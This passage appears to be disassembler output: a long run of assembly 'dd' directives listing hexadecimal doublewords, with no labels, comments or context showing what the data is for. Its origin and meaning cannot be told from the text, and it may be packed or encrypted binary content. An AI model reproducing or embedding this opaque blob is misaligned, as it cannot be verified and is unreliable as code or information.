		dd 3000D0C7h, 0C85E9464h, 0D1EEB1h, 793ECF4Dh, 375C3165h
		dd 8032D70h, 4CF14AEDh,	3504D83Bh, 917A007Fh, 0DC079985h
		dd 0EB3FDA9Ah, 0FB5600C4h, 1C329255h, 0C7091F57h, 4BF2C03Fh
		dd 87ADC95Eh, 4E190C13h, 0EB33F842h, 228E463h, 6C7C3806h
		dd 0A4E0BC8Bh, 74F04412h, 14779300h, 3A9AEBA3h,	1C6E0024h
		dd 0A2E3A6BCh, 67032C42h, 8FBDC525h, 0E0D3FA97h, 0CAE14E0h
		dd 555A4083h, 0A30096E8h, 786F1AF1h, 675633h, 9AB7DDEFh
		dd 0B1734884h, 0F216A900h, 0E4FEAF8Bh, 7C933F9Dh, 2A80D12h
		dd 684E2A50h, 0B72FCE8h, 3C183090h, 7438B48Ch, 0B7920B26h
		dd 0D08059A6h, 0C15F698Eh, 0B652C918h, 40136F40h, 39003076h
		dd 10AFBF19h, 1FFC8E75h, 460F21h, 63DE036Ah, 0C100A743h
		dd 0F2E4552Fh, 0D2701Dh, 9FCDBFADh, 0A9DE04C3h,	8049362Fh
		dd 683D7164h, 0B9F20708h, 0EF768CECh, 0C1FB1140h, 820098F8h
		dd 0B619794Eh, 7B75A8CEh, 0F32913D9h, 83349C5Bh, 0D615C200h
		dd 0F5AA36E2h, 1AB03CAh, 0EB9410A3h, 56B4B087h,	4F01A254h
		dd 2873A11Ch, 0DC3876CEh, 5C0660Eh, 0D1C1836Fh,	20522577h
		dd 9E4C4FE4h, 0F99F0060h, 0CCADB73Eh, 26C600FDh, 778D2365h
		dd 4F3C7435h, 5E950045h, 7876B3CAh, 877F0BADh, 5C814C22h
		dd 0F4F4BCD2h, 0C190498Eh, 31B47C50h, 3A683302h, 4291D942h
		dd 0F270C050h, 55DD0022h, 45517727h, 2E02170Eh,	3E2DED83h
		dd 0C324047h, 0C279F6h,	0B1B04D57h, 0FE32D680h,	9178A417h
		dd 0B230D403h, 4C41E02Dh, 0EFC001EDh, 0B9CF7C3Fh, 3C52F4F3h
		dd 9188BAC0h, 9DB4FDh, 55730294h, 961AFFDAh, 0D4D2A0C0h
		dd 20E3DC09h, 8600AB7Eh, 3A7F4E7Ch, 0E53E502Ah,	126C830h
		dd 4716F701h, 0E0637A92h, 2F0A5D28h, 8064C637h,	95ACB603h
		dd 40F1EA9Dh, 1C312D28h, 7EB0BDB7h, 5F74BF09h, 33E4E827h
		dd 801611A1h, 5847FEA5h, 0D364F5FBh, 14CB5C80h,	1E4B0616h
		dd 9843B825h, 810036E2h, 6F8F0A2Fh, 0A5BEDD3h, 3088E22Dh
		dd 7B208088h, 6EBE65BFh, 48938100h, 95104397h, 0AD3407EFh
		dd 0D00819A3h, 8E250520h, 98B9362Ch, 0FAAF8380h, 0E2C03B4h
		dd 0A688397Eh, 360CBEC0h, 9400458Ah, 0C7C60B3Eh, 223A9Eh
		dd 0A2BBECEBh, 203D6E6Ch, 4F4F325h, 0E8D17798h,	9C4079D6h
		dd 3AE3DBEh, 5DEFD571h,	0C0F47782h, 0C2DA0BF4h,	31568A00h
		dd 0E92AFA27h, 874A0061h, 33CFEF6Ah, 0E00ABB4Dh, 0A21E6EF0h
		dd 34E27F00h, 18E8F279h, 0C85D435Eh, 8522DD74h,	13E72754h
		dd 0E2878080h, 1200EB9Dh, 91712267h, 0ECF7A9EEh, 2C2A006Fh
		dd 4EF69EFAh, 765B1F50h, 56FC4402h, 3A05058h, 4C26B8DBh
		dd 0C8027A3Ah, 9E1AA92Ah, 9068CBC2h, 72495E40h,	0B77C51h
		dd 0A2CD39E3h, 9BB23C82h, 0FF07CC01h, 4FD719E8h, 0F6B369F8h
		dd 2B50E84h, 0BD00CFE6h, 8A4B1B31h, 65E5009Dh, 0EBBAD1h
		dd 2A091F27h, 37F4DC48h, 6444B84Ah, 8A4D1A8h, 0B1E808DFh
		dd 6A01C29Ah, 0DAD4DE3Fh, 0E6881828h, 9C34F210h, 671BEE28h
		dd 0E1EAC320h, 19D0910Ch, 9FD40190h, 80CDA4FDh,	378DCC07h
		dd 1C75E979h, 0F5D3FF00h, 26384E91h, 58D90077h,	0A242A894h
		dd 184CFEB3h, 0E83705F8h, 0A3065A54h, 0BE609EA6h, 0DC4A00F0h
		dd 5B553FDEh, 0CA0D2F8h, 37028782h, 95358008h, 10005978h
		dd 3A0B2015h, 6C0A2BB5h, 4784BB37h, 0C0E8B53Bh,	0EB6895C0h
		dd 920DF8EFh, 0EB7D201h, 785B06AFh, 0D874C1D1h,	41D80455h
		dd 90ED3CBFh, 150FB314h, 0CB00B0B8h, 71CA6E21h,	2D091A5h
		dd 398104EAh, 9C0E3DAh,	1800488Bh, 79E5C966h, 0D31A37h
		dd 457A5453h, 0E67D6414h, 522D650Ch, 16E30A3h, 1B0B4988h
		dd 29A6D5C4h, 0FB044260h, 8D2C0A80h, 0E4339F74h, 0F25F1873h
		dd 20C45062h, 7C12E7B1h, 0D88147F7h, 7211848Ah,	829D1264h
		dd 24488E14h, 65E42776h, 1E428948h, 2162244Ah, 75126769h
		dd 894B7310h, 4471084Eh, 2284616Ch, 3A425055h, 216E5811h
		dd 54B3084Dh, 1A842690h, 42394875h, 12245C29h, 127A8321h
		dd 5E561025h, 8883FE88h, 11897B4Ch, 12F90408h, 0F28211EAh
		dd 22E6FD22h, 0D6246146h, 127EF321h, 47AC22E9h,	0D32BF1C0h
		dd 0AF61A60Eh, 349EDF4Eh, 0BB6DB280h, 50EE3356h, 3AE6EFh
		dd 0BAE31513h, 48659694h, 0EB1C1B00h, 7C9F9DD1h, 0FF0F3AEAh
		dd 0B750C44Ch, 0FCDF00D6h, 0C92CDE59h, 633B14A6h, 12C8808Dh
		dd 3F5FA4C2h, 2BBD00A3h, 60EA2EFEh, 0D9128649h,	3CC0A69Ah
		dd 5B6D396h, 0D7C00877h, 0EAB8C0E9h, 8401475Eh,	0F509E45Fh
		dd 0CB61033Dh, 7EFCE7DDh, 22BC09F8h, 84C04042h,	3200B198h
		dd 6CA60A2h, 219CC2h, 72ED9070h, 52E409CCh, 3CB7800h, 0D6FBAA33h
		dd 6B80185Bh, 6FB15839h, 0D5A0DB03h, 0F090353Fh, 1DD2862Ah
		dd 80404A01h, 32CDFD14h, 9500C73Ah, 0A5AF58C3h,	0E4DAF1FFh
		dd 0F974301Fh, 54173890h, 5AEC8E81h, 6C820118h,	3BCD6324h
		dd 563CC4A9h, 5858B4EEh, 0B1D707E2h, 85E009A7h,	0F05E2761h
		dd 0A07E7F72h, 0AB6E8Ch, 765A0B86h, 0F36408E6h,	62B5C901h
		dd 0A0DCF29Fh, 75DD30h,	1C05449Ah, 0D2478CB0h, 1E15CD2Ch
		dd 0E516DF00h, 36599C9h, 59093640h, 2F80739Ah, 0CA2C68E8h
		dd 0C61C6FCCh, 7CDE301h, 547D30C7h, 0AC486800h,	4511473Eh
		dd 0F9BAB201h, 0A5A3FC56h, 8B0B6028h, 9C80887Ah, 33D9456Ah
		dd 0CCC3701Ch, 0AF402440h, 0A8AA7A9h, 0A8251DF8h, 0D8FD00BCh
		dd 0F1D77393h
		dd 59845F01h, 0A9B01920h, 40F2D8h, 551A30DBh, 98737D13h
		dd 1D00877Ah, 344A6FB0h, 58092E78h, 0DE00F477h,	0C652DD9Ch
		dd 20001EBCh, 46897C73h, 0FB095h, 6C233957h, 2C42D40Eh
		dd 7CBB6800h, 0EFC14688h, 90B50078h, 0C32E58A2h, 64099944h
		dd 823139F1h, 0F84D8174h, 0FCCA043Ch, 46869Ch, 0A808D20Bh
		dd 89DE0092h, 0B8BEC629h, 3AF6E905h, 8A6B8300h,	10F0F9BBh
		dd 2DC49642h, 3CF2A000h, 0DA00F5AAh, 581F11BBh,	2424B616h
		dd 509C73h, 303A5DC0h, 0FE28C393h, 557CDFF5h, 7C701E00h
		dd 4D7E3B39h, 1D160043h, 4CF4130Fh, 0D00232Dh, 0C4499D15h
		dd 12A458h, 0D7D97C61h,	5A4C0B3Fh, 620C909h, 48D21Eh, 0F34BA5F0h
		dd 0DB9966FDh, 0B2013574h, 0A1BE8198h, 0E422E012h, 0F880C73Dh
		dd 0B4F3894Ch, 4890E97Bh, 0BCF4C312h, 33508703h, 0A0C9031Dh
		dd 7F0399DAh, 0A7AF7180h, 0A8CD901Fh, 2433C85h,	0FE23FC00h
		dd 18408BB8h, 80608EE6h, 6C247D58h, 5401C043h, 621DC32Fh
		dd 579E0CCh, 0BA35D42Eh, 31CF280h, 0CAFBFA31h, 48D3B8B2h
		dd 0A7E00126h, 0BEE5D954h, 0C3043014h, 12F2FB00h, 96777F44h
		dd 0FC0C05C7h, 0F1934C1Bh, 2404E07Ch, 33840700h, 0B4CA2A7Ch
		dd 4CAC00FDh, 0D2327436h, 0B507F6BCh, 27204D55h, 80C6DAF2h
		dd 82143EB0h, 85B3003Bh, 9CDDFCB6h, 96F245DBh, 8F0EC63Ch
		dd 0E22F605Eh, 6639E3E1h, 65260000h, 51161105h,	0FF88853h
		dd 0C434FD00h, 0E26C99E4h, 555F000Ah, 0E17DBFB7h, 4B004CF3h
		dd 8E441441h, 9E6178h, 6F886381h, 0DF72F9F5h, 0E916E106h
		dd 0F2BAE419h, 0E8C30055h, 639942CCh, 5A00D5FAh, 17DE7C2Ch
		dd 3FCFA2BDh, 9B1DD674h, 72F2C0D0h, 3656DCC5h, 8480304Bh
		dd 7D4E84h, 0C79D2160h,	0DBAAA666h, 0F60C2400h,	0F7A91532h
		dd 727317h, 3BB95E64h, 7F89E713h, 5D8ED904h, 22801033h
		dd 41BA5B6h, 0DE53062Ah, 57BE805Fh, 193A86DFh, 0DBF10004h
		dd 0FBFE278Fh, 7D542DC7h, 7A3D2040h, 0BED43400h, 4258B8FDh
		dd 5EDDF48Bh, 4ECC0FC7h, 82E54503h, 0A5417488h,	0BFF5C401h
		dd 3D774727h, 0B80B9438h, 70E85030h, 7F80AA3Eh,	7BC8A4D5h
		dd 0B7DA00F0h, 13F995B5h, 7101CF81h, 241D4A4Ch,	0C0406F52h
		dd 1B0EC02h, 1A4751E7h,	30A5AE21h, 8C0096FCh, 75D9E8E6h
		dd 4032CEh, 8431F520h, 9D9E2D8Dh, 8249383Eh, 64451FB1h
		dd 1290601Eh, 0F4CF00EDh, 67EEFF62h, 5E09F92Ah,	7218DCABh
		dd 149300B0h, 0A5A4E390h, 0B1008839h, 0E87A10D3h, 3A09B355h
		dd 438026EEh, 9F852241h, 9000330Dh, 626C8DE5h, 7DAB3Dh
		dd 45E373AEh, 0C8A94176h, 2CC4F900h, 0CEED5DA3h, 13D490CCh
		dd 0D184ABh, 2E63B708h,	0D75D37E9h, 4C623B04h, 0BEE101C4h
		dd 3F72C779h, 0EABB20h,	201F466Eh, 0A2A0C6EFh, 282799A0h
		dd 0A95CF700h, 1BF688ABh, 0C805C0Ah, 0EA79FA08h, 6022BE42h
		dd 4C53CF81h, 1D7208E2h, 8039C90Eh, 529E04E7h, 5758D0F8h
		dd 0F99F032Ch, 0A85AC822h, 727059h, 358DE7F3h, 253026FFh
		dd 0D2CF8000h, 3D77E7Dh, 808E95B1h, 2A3E56A0h, 40008C31h
		dd 4BF630Fh, 76BEA6Eh, 6F243AE7h, 0C03F0F1Dh, 60439BF5h
		dd 2B012DBEh, 8770CA86h, 74CAD727h, 40209E18h, 0AC61FBF6h
		dd 5C035378h, 982AEC31h, 0C370CFBDh, 0A06F944Ch, 9035589Ch
		dd 7DB7D2Ch, 3285D10h, 4460E0F9h, 7005A1C5h, 0D0C882DAh
		dd 8073BC0Bh, 1BF3A5ECh, 78291D6Eh, 0FCAE8096h,	84357A25h
		dd 0B53DFBECh, 922A00B7h, 12ABDCDAh, 2D5E045Dh,	80E4E290h
		dd 44676609h, 0C6D7B20Ah, 0AE12BC81h, 0A0BC4210h, 4AD7317Ch
		dd 6F68C07Fh, 0B4050EC9h, 8D961601h, 0ECFBB800h, 267DC879h
		dd 87D0CB23h, 35530DB3h, 9DF0B0D0h, 63404061h, 0B060E6BDh
		dd 1F868h, 0FC4E30C2h, 0CAB04CEBh, 0A7873800h, 0DCD50204h
		dd 35E7005Eh, 0FE141E4Ah, 0A16C2C0h, 1C014287h,	0F183A8EDh
		dd 4C12C60h, 0EB105619h, 0AD70h, 0BD8C28DDh, 25C17h, 8641A519h
		dd 0E0F23DE3h, 6BA24000h, 42FE1BB4h, 397F0095h,	0B9EA86Ch
		dd 7200D448h, 56602A27h, 0F6E17828h, 1C3701BAh,	82B3B24Fh
		dd 0A2D5F0D8h, 0FE0E9800h, 1A025FB6h, 0F52B2F83h, 0F347BC60h
		dd 67078492h, 0F24BFD42h, 71D08260h, 58093B4Eh,	8B8ACF00h
		dd 0AE55FE5Ah, 0D67FB000h, 5C013230h, 87B816B6h, 18E101EDh
		dd 509AAB86h, 7A098AD4h, 0A3CF0385h, 43A832F8h,	4900D91Eh
		dd 0BD230634h, 50F01771h, 1C0C041h, 0CEE9431Ah,	70F73989h
		dd 0DF1D36AEh, 3541A109h, 1DE6A411h, 0E3436D30h, 2C78D4h
		dd 5EDD6FD2h, 0B3E78D21h, 0CB31140Bh, 9614687Fh, 7A47EC57h
		dd 0D79A2CF8h, 0EF5F14F3h, 5C203609h, 79C40C80h, 0FE052948h
		dd 7165A4C9h, 5983D1C0h, 63FA96h, 227AD42Dh, 0A2746F5h
		dd 98A16500h, 7C48DD36h, 0D04F4866h, 0D940C05Eh, 8A0088C2h
		dd 0F0D3659h, 191C1DDh,	193C6293h, 60D1E91Ah, 0C9001D57h
		dd 0FB4073C8h, 1C2E749h, 4875CB7Dh, 0D87E5203h,	9700E286h
		dd 699EE53Dh, 4BD3D599h, 0A218908Bh, 0D0058BFh,	0F59B63FBh
		dd 0B75C92h, 0F6104FFCh, 0ABE9D5F3h, 253BE800h,	2CBE1E70h
		dd 242039Ah, 39DA1A67h,	339088B0h, 301D527Ch, 0A8D6D413h
		dd 0EF3A2C00h, 63D95h, 882D996Ah, 4FECF9B8h, 8010122Dh
		dd 0E7C860D0h, 0D5AC00AAh, 2C36CCA1h, 0E1003B87h, 937F9A62h
		dd 311E294h, 8D50585Ah,	90BDCAE0h, 0B2488E78h, 89D69C00h
		dd 6E15BB53h, 0DE6A011Fh, 0BCB02BA7h, 0C4006B42h, 8E6F773Fh
		dd 8004BEBFh, 0C8977880h, 1E1EFF07h, 9F40884Fh,	0E7AF0883h
		dd 0A0BCA6h, 0F7B2C828h, 387F4EAEh, 0C9D13107h,	0DFF5A39Bh
		dd 0B2187CC0h, 16142E87h, 2FD70B30h, 9ABF6800h,	171D6290h
		dd 6681CAE6h, 2C653F41h, 5CAA0730h, 1100487Ah, 33DF7FBFh
		dd 9700AF64h, 6D54F3F1h, 7961BC06h, 5D8A035h, 0D12B1B60h
		dd 0F5F01176h, 8001EB4h, 0FD6D03C5h, 75EAE565h,	0A4D0095h
		dd 6235318h, 6C9493DCh,	1214B100h, 4A29224Fh, 0AA9080BAh
		dd 91005AB3h, 85470544h, 90A0CE60h, 0DC150090h,	0D3071D52h
		dd 5F0069FFh, 2968FEB9h, 7BF7832h, 0DBED38EFh, 0C9EA90F7h
		dd 0B6001698h, 36EB8993h, 66EFBF8h, 325C79A3h, 135980F5h
		dd 1F691730h, 93A48800h, 2CB01C20h, 2F1C5E83h, 95ABDC90h
		dd 0F78DE012h, 3D141440h, 0A03678h, 669134A9h, 385D9A49h
		dd 9012E00h, 4CF47692h,	9046005Ch, 0C1710D3Eh, 6605688Dh
		dd 0AC3B9B5Eh, 132FE8B4h, 40328AE4h, 0B9751AF4h, 1C40805Fh
		dd 0D4CC0BFAh, 64809961h, 385E09A7h, 0B96D0707h, 3F40D9F6h
		dd 0C098D447h, 14BAC420h, 0A400B7C9h, 92D3B541h, 0A339F4h
		dd 2686478Dh, 7309CB10h, 54195D00h, 843462BEh, 78690022h
		dd 0B15C688h, 92129850h, 0CB00FA83h, 0AB40F3Bh,	17CB067h
		dd 0A8BA3C2Fh, 0CCA479F5h, 6F00F689h, 218E2C29h, 32E4EEh
		dd 0C7A8AAE1h, 0C8A3C3F8h, 414B700h, 707A9FB6h,	610E0659h
		dd 48D32F22h, 3E5B1E00h, 0AB73BBAh, 68C60F78h, 73414054h
		dd 289F1705h, 0A59E04D8h, 48071BFh, 43232Dh, 8FA6AE73h
		dd 29ED3F97h, 6AFDDA00h, 38D2453Dh, 0C2CB0112h,	0C9651AB8h
		dd 0E495F41Bh, 0CD30E213h, 276060A0h, 4C0C7921h, 0BC0FC631h
		dd 0E0BDE216h, 7C14CD9Ch, 0DC9003A1h, 5B802851h, 60C33BA2h
		dd 0FDB685F8h, 0C7D6EC0Ah, 44168EB0h, 0FBDEE400h, 989D91D0h
		dd 8D67005Dh, 0AE60A5CAh, 960C284Bh, 71FD7068h,	3DDB00E5h
		dd 20876A09h, 9C7B7BD5h, 0DE06CC00h, 6E05244Bh,	0E0820093h
		dd 4D722DF9h, 9B3E3256h, 8FC83F13h, 404E7CE8h, 0D0B9E1E3h
		dd 23C909D3h, 0F000F425h, 6A981336h, 21FF7230h,	137DDE7h
		dd 11C8DE74h, 0F43153D4h, 18CF58FBh, 0AFA38087h, 494056ECh
		dd 4C1F1C7Bh, 9880BD7Dh, 2735B0D5h, 0EDFABD71h,	1B779C01h
		dd 61FCC784h, 3A460h, 82990F0Ch, 2D4ADCCEh, 621725h, 0C3E33688h
		dd 6E27053Bh, 0A9EDEE9Eh, 922F8038h, 401AACh, 2811B97Fh
		dd 0A79BDA87h, 67001390h, 6AAFD497h, 65EB8C3Ch,	0AD3BCE50h
		dd 0D284006Ch, 0A3D14CFFh, 91D00D4h, 0D3122FF3h, 0F601E5DBh
		dd 22CE157h, 0F7D8185Eh, 1DD20F64h, 96607E26h, 63B96B6Dh
		dd 9BB3600h, 2AD87529h,	5ED10067h, 98A06130h, 0E90F45FAh
		dd 80BD68FBh, 0BC609BAAh, 9FF007A6h, 0D4316C82h, 4818FC08h
		dd 0AF8E00ACh, 0EDB053FEh, 488F257h, 0B54CA83Eh, 3708A496h
		dd 0B9CAA500h, 0A91851C4h, 285B0297h, 0C9418F3Eh, 0A0D2F087h
		dd 35B438CEh, 0EE04B10Fh, 39CB60ADh, 8DC65Fh, 779D1269h
		dd 0F8A5F0FCh, 70C5B81Eh, 0E12A5D40h, 95F9CAC7h, 7D006FD8h
		dd 5C21AAC1h, 0FE93D885h, 0E05B000Eh, 2DA8CB2Eh, 0A200D31Fh
		dd 849B56FEh, 0A0E23647h, 5A14CB8h, 658AB311h, 0BBDCA00Eh
		dd 1B5F1F00h, 0FE830185h, 8120451h, 0B8E9D7D4h,	45DA138Ch
		dd 82AFF440h, 5A1B842h,	39136664h, 0F489027h, 904BB4DEh
		dd 3C88C080h, 22FD188Fh, 0DC012111h, 87FFDA1Dh,	5FAA3300h
		dd 15A83Ah, 3195C0CCh, 3C1C1EF8h, 89E5F302h, 0F66B3EDAh
		dd 2AB90036h, 9FDE8B4Fh, 9859DC30h, 1669AF7Eh, 0CF96D5h
		dd 18558634h, 0C778793Fh, 0C1993E00h, 33F60F67h, 27D9099Eh
		dd 0F8E49FD2h, 5C09CC00h, 1BE32A1Dh, 4F1100E1h,	0AA2EAD31h
		dd 0BF72BDFDh, 0D7DB3309h, 96368027h, 2F8372h, 150C1B6Ch
		dd 0F43359CDh, 0E4FA89E0h, 82DF000h, 0D14EFF06h, 3D7D00D8h
		dd 60AC5170h, 0E500912Fh, 33768CB1h, 0DA5572h, 0A6381EBAh
		dd 0BF60FB13h, 20B6F700h, 0E7598416h, 0EF330044h, 0FD9B698Eh
		dd 700C2D8h, 811E28BFh,	0EF2DB35h, 14824B06h, 9AF9FE40h
		dd 1D3C963Eh, 1050AC1Bh, 0CF2781E0h, 85D900A7h,	4D5619BFh
		dd 0DB1E8F0Fh, 7042FDAh, 4806722h, 0B90BAE1h, 153E6192h
		dd 6A9B5C68h, 2221440Fh, 0A3A100F1h, 4AD0C125h,	7F00006Bh
		dd 0FDD385CAh, 941D505Bh, 9FEA8E80h, 0B8A3ED45h, 0DBDD1728h
		dd 0A0EA1693h, 94021200h, 0F523620Fh, 64E883C8h, 98C6C095h
		dd 0B22D2CA0h, 15F2680h, 576D1A66h, 4C786821h, 27B90075h
		dd 0CEE79676h, 3F640098h, 0FFAA8435h, 2306DE83h, 389BCBF2h
		dd 0A9F51640h, 0D2A8B078h, 0BB1ED001h, 0FCCEAA98h, 9FB4AF4h
		dd 26FD53C6h, 0F9BD7000h, 3E1454B4h, 0ABC387Eh,	0A75DBE0Ah
		dd 0CEE44407h, 265C680h, 0C1F50103h, 3F754525h,	3E01EFA7h
		dd 387D4D2Dh, 8C62CFB0h, 0AA4710h, 32B155FFh, 37C201AEh
		dd 60F8C793h, 0E9A913Fh, 0C89E9003h, 0C82340A7h, 245AFFDFh
		dd 27C6415h, 0B3261F4Ch, 3E7D8CA0h, 0A700164Bh,	0E86F32F5h
		dd 5C0C40DEh, 59004BDBh, 0CA15D2CEh, 0D063FE08h, 98D3AE6Eh
		dd 1B60357h, 0E5838DB2h, 208BD8E7h, 0AD0105C4h,	9D996673h
		dd 98D713EBh, 48518245h, 0AB00342Dh, 0D07B54C3h, 5492FFBAh
		dd 68997104h, 0AB1C47h,	0C1F44975h, 0DD07A146h,	566B45C0h
		dd 2EA0701Ch, 0EA4289h,	0FA703835h, 0DE01E033h,	0E59799BEh
		dd 0E8626009h, 0AD496900h, 376B9FBBh, 0DB004398h, 0D9A134E2h
		dd 0E3F7EE52h, 7B1F0DFh, 78E41D02h, 1EADFE5h, 0A8E0F2B3h
		dd 10AFCC8Fh, 809F633Ch, 1DF811FBh, 156B3C0h, 0A1D58D25h
		dd 504C7A7Ch, 0DD3782D4h, 8167850Bh, 94C5193h, 78605D20h
		dd 0FC003BE6h, 0EFC20A08h, 1035F8h, 0F3D97595h,	0DE8D8661h
		dd 555E6898h, 8209DC09h, 833DAB54h, 0B5D093D0h,	0DB1098B9h
		dd 185201C3h, 8AEB84Eh,	0D7EDD0h, 0B63AD0A1h, 7406B337h
		dd 406BC200h, 8F501FC5h, 0F1E90B87h, 98838BABh,	3BD14359h
		dd 4E4A70A5h, 0DD01D2FCh, 0BAAE29A7h, 0EC3009FAh, 0B74F0087h
		dd 3BCB07D6h, 48028B5Bh, 0CF10DFC0h, 50C1C247h,	40FE8Ch
		dd 8EEEBFF7h, 10704178h, 80B7FA78h, 19793A00h, 0EBE43F11h
		dd 58C6E680h, 59CFFA60h, 0DB8B0F00h, 0E0862B52h, 48437DE2h
		dd 6F0B70F9h, 0FC588394h, 574E7300h, 0EF0C219Ah, 0FC7F48ABh
		dd 0D5065004h, 50E9E9h,	0C254B501h, 48D3110h, 0DA7D6112h
		dd 4A8CA05Fh, 5D946400h, 0E3F02BC9h, 0C015094Eh, 6854B7A7h
		dd 84838F39h, 8CCB609Bh, 7524D8h, 5BB55264h, 7225B4D1h
		dd 61F0D202h, 58F56B63h, 0C6BD0004h, 0B17B5D87h, 47003414h
		dd 0DF4D93E6h, 3C9C57FDh, 68E101Ah, 3DA0A35Ch, 0E39869F2h
		dd 0D599AF00h, 6A777390h, 0A1BC01EDh, 1214396Dh, 4DA0CFE8h
		dd 0DF008C23h, 0A8C610C9h, 1FB36419h, 4B3A328Dh, 5700F2FFh
		dd 7A285215h, 0B1ECD07Eh, 0D95D7809h, 916860E6h, 0D700055h
		dd 3B547C6h, 7E15802Eh,	0AC8FA3h, 0D28A2859h, 0FE444EFDh
		dd 0E14D006Ah, 0B847F33Bh, 5B0FFEDFh, 266ECCh, 0F2C7A31h
		dd 0E46459B7h, 4EC08C28h, 3885B8h, 1E54B3Dh, 687385E4h
		dd 0ED36300h, 3156106h,	2B6006Fh, 0C883F1CCh, 7500A31Eh
		dd 0BF715BC5h, 1DEBDE33h, 28DF554Dh, 0C8D214ACh, 85809C9Dh
		dd 0AABB965Eh, 0B01C0300h, 8A7E759Ah, 1C8758C0h, 804FFA1Dh
		dd 0CA5C9463h, 4CF4F0B3h, 0F9162207h, 0BDE2954Dh, 1805C77h
		dd 0F2D0722Dh, 0E3E45863h, 70AED932h, 6F10C01Fh, 1BF100A3h
		dd 5314586Eh, 8417AF36h, 78422C40h, 632DB196h, 1C280F22h
		dd 0E0E5F26Dh, 0CAC407BDh, 0E0603970h, 0D4072BDDh, 0CD892EA9h
		dd 61741A0h, 0A7D8E3F4h, 31230257h, 0E039C875h,	40CBD861h
		dd 42EC2C64h, 0A7D94A0h, 0FA0A9492h, 0E07C8D67h, 98835CA6h
		dd 2C518586h, 6010DC98h, 0E9D481A7h, 8512F198h,	340041F3h
		dd 823608BAh, 7D1E003Dh, 192B0597h, 0B626067Bh,	3B02A009h
		dd 703E96F0h, 73B9C6E4h, 57001119h, 0A5BB5114h,	0CA2E3h
		dd 0A32C1EB6h, 0C394B74Eh, 2352D102h, 494C9506h, 256E6A14h
		dd 2EE8C280h, 0F116E8E8h, 0DA3DEF02h, 449772B7h, 5D5B00F8h
		dd 0C6B46492h, 2303F628h, 9D4DF36Eh, 5879DF76h,	92112C04h
		dd 460F1F80h, 71E094ECh, 0F4D0694Eh, 0F70C0D2h,	0AE066086h
		dd 9E937F60h, 660048F8h, 94EEA98Fh, 962EE1h, 2B0DBF8Dh
		dd 44F7D87h, 4977F203h,	0F01D322Ah, 995034h, 0ECF61B61h
		dd 0B5457F4Eh, 8C05D426h, 0F8C30E09h, 0F5D4A020h, 0AD0700CAh
		dd 99672455h, 3A399445h, 2BEE890Fh, 39C590Eh, 348CE631h
		dd 3C722903h, 0A0DAE46Bh, 0B0F7BE44h, 646E0058h, 9DAD6736h
		dd 5C00A06Fh, 0C35E704Ah, 0F46B01Eh, 7B7A1721h,	0CC00236Eh
		dd 97E3492Ch, 9A423D1Dh, 0CB28D00h, 0F2E690C2h,	69130744h
		dd 70E71EC5h, 8803ADC6h, 6029412h, 0D07F6C0Bh, 0C3FF1E6Ch
		dd 40834033h, 0C708D7B8h, 8F5F3F16h, 1FA005Fh, 86E6A7EFh
		dd 0B3F2970h, 21B7C4h, 3F117142h, 0E8D3001Fh, 0F24BF81Ch
		dd 0F0DBC7h, 515BF1B6h,	460077ACh, 92C3F82Bh, 0FCE53AEEh
		dd 0D296013Bh, 0FC4EE63Ch, 823560D3h, 0F45F9F90h, 0C8607089h
		dd 25A475EFh, 44E1C4B7h, 137FF402h, 15B26E03h, 81380723h
		dd 10244EE7h
		dd 250484BCh, 4CF365A7h, 0CE1C8C0h, 705A2EB2h, 9D420064h
		dd 0AB50BCD9h, 0A0457630h, 364CF9h, 0FE143177h,	0DD61F7B8h
		dd 2DDA5E03h, 0E69FEEh,	48885780h, 0C7E4A7BEh, 0B7B55B09h
		dd 1F14800Dh, 69F07Dh, 0FC1E5679h, 0E698A238h, 0E45F1202h
		dd 0E052833Eh, 0B5D60898h, 0A5FBD481h, 7F2431BEh, 0BFD8849h
		dd 9CD0A4h, 39728848h, 26CCD66Ch, 0A6892801h, 0F9AF43Fh
		dd 0F744006Ah, 0BD7BE064h, 343E5300h, 0BA672B32h, 70960328h
		dd 0B99F296Ah, 0D805B789h, 12163C81h, 90560917h, 4F193403h
		dd 5F58FA32h, 0C8DAAC84h, 0FA00BBFCh, 0FB18DBF1h, 975F576h
		dd 0B4C8A3CBh, 0A8A7E424h, 0BBDE02D4h, 0E0068EB9h, 408A3Ch
		dd 4BF99423h, 0B030B1F3h, 0FF0F29FAh, 40611114h, 0BB67083Ch
		dd 6B620987h, 0D0A95FC4h, 0E9447494h, 143FEE8Eh, 0ED6EC814h
		dd 3907E16h, 0B0FBA53Ch, 74C6142h, 0FE314B7Ch, 485FE771h
		dd 2CFC5860h, 507C0E56h, 1CB27B81h, 0D371F11Ch,	0BD8062D1h
		dd 87A4E5A7h, 327B2014h, 18638120h, 46466BEh, 0E1B00156h
		dd 3677141Ch, 7464508Ch, 0A600FEC4h, 6750355Ch,	0B230E3C9h
		dd 44394334h, 7D34A260h, 60A260EEh, 7133D12h, 6188B6D8h
		dd 0D4BC700Ch, 31242463h, 482E4CEEh, 236EB100h,	0FA4C8F2h
		dd 1F494B70h, 9671366Ch, 1E02B8B0h, 9A218AD8h, 23766076h
		dd 6A080359h, 61E56986h, 0F4943B92h, 1F78F353h,	2001F0ACh
		dd 832D7916h, 0A69D5880h, 0DC24BC09h, 0C628DA05h, 0C002FE97h
		dd 0C183AEDBh, 0DFE8EC8Ch, 992F01E7h, 0DC1C2DA0h, 0E42C52h
		dd 120137AAh, 0B6A8F6B6h, 6BA5D098h, 453DDB00h,	4CF11EABh
		dd 0E6C11653h, 0BD7440D5h, 39DDD110h, 0CDF5AA17h, 0C8CD00E1h
		dd 4D03FC38h, 3A6D61A0h, 9A5D2000h, 0E71C4F69h,	92C000C2h
		dd 0E308FEC3h, 1325480Eh, 0A9846055h, 992B1F09h, 0F06596E7h
		dd 8407CA70h, 7E9458C7h, 0C15B7872h, 0FC38DE78h, 0F5ABE808h
		dd 24E78D80h, 0FC4AFC8Eh, 1A5E6C5h, 45358FE9h, 0E03C996Ah
		dd 0BF70B1A6h, 83062409h, 5568A046h, 6758B00Ah,	0B048283Dh
		dd 39025417h, 471251F6h, 6CA861AAh, 0D07D4EC3h,	505264C1h
		dd 569542E0h, 24146249h, 6002BC4Ah, 49E46E7Fh, 2C70C40Ch
		dd 22A31FC1h, 976647D0h, 545ED0E5h, 0F4392E26h,	0CE4C0057h
		dd 2C50623Ch, 40B60004h, 4F12191Bh, 52008BA1h, 59112787h
		dd 0F3770Dh, 1B2BE474h,	69D02A76h, 937CDD00h, 385DBF71h
		dd 7A7098BDh, 0A265008Ah, 28741985h, 0A00059F7h, 0A9D183Bh
